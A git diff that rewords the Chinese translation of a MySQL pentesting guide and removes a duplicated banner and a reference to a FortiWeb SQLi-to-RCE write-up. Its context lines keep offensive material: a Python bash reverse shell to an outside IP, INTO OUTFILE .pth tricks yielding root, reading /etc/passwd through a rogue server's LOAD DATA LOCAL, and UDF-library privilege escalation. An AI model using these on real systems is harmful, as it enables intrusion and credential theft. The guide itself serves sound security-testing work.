diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index be145c3f1..d06ebf18f 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,10 +1,5 @@ # 3306 - Pentesting Mysql -{{#include /banners/hacktricks-training.md}} - -## References -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - {{#include ../banners/hacktricks-training.md}} ## **基本信息** @@ -132,9 +127,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10 ``` 重要的限制和绕过: -* `INTO OUTFILE` **无法覆盖** 已存在的文件;选择一个新文件名。 +* `INTO OUTFILE` **不能覆盖** 已存在的文件;选择一个新文件名。 * 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。 -* 如果攻击者输入使用 `%128s`(或类似)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。 +* 如果攻击者输入通过 `%128s`(或类似方式)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。 * 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,几乎在任何地方都可以写入。 在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行: @@ -153,12 +148,12 @@ uid=0(root) gid=0(root) groups=0(root) ## MySQL 任意读取客户端文件 -实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。 **然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\ -请注意,这是使用以下方式的行为: +实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取** 并发送内容。**然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\ +请注意,这是使用的行为: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(注意“local”这个词)\ +(注意“local”这个词)\ 因为没有“local”,你可能会得到: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -190,7 +185,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= - **`password`** 用于建立与 MySQL 用户相关联的密码。 - **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。 - **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。 -- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,这些字符串包含日志中的敏感数据。 +- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,日志中包含敏感数据。 - 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。 ### 权限提升 @@ -213,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### 特权提升通过库 -如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统的 **库**。 +如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库用于运行 mysql 的操作系统。 可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。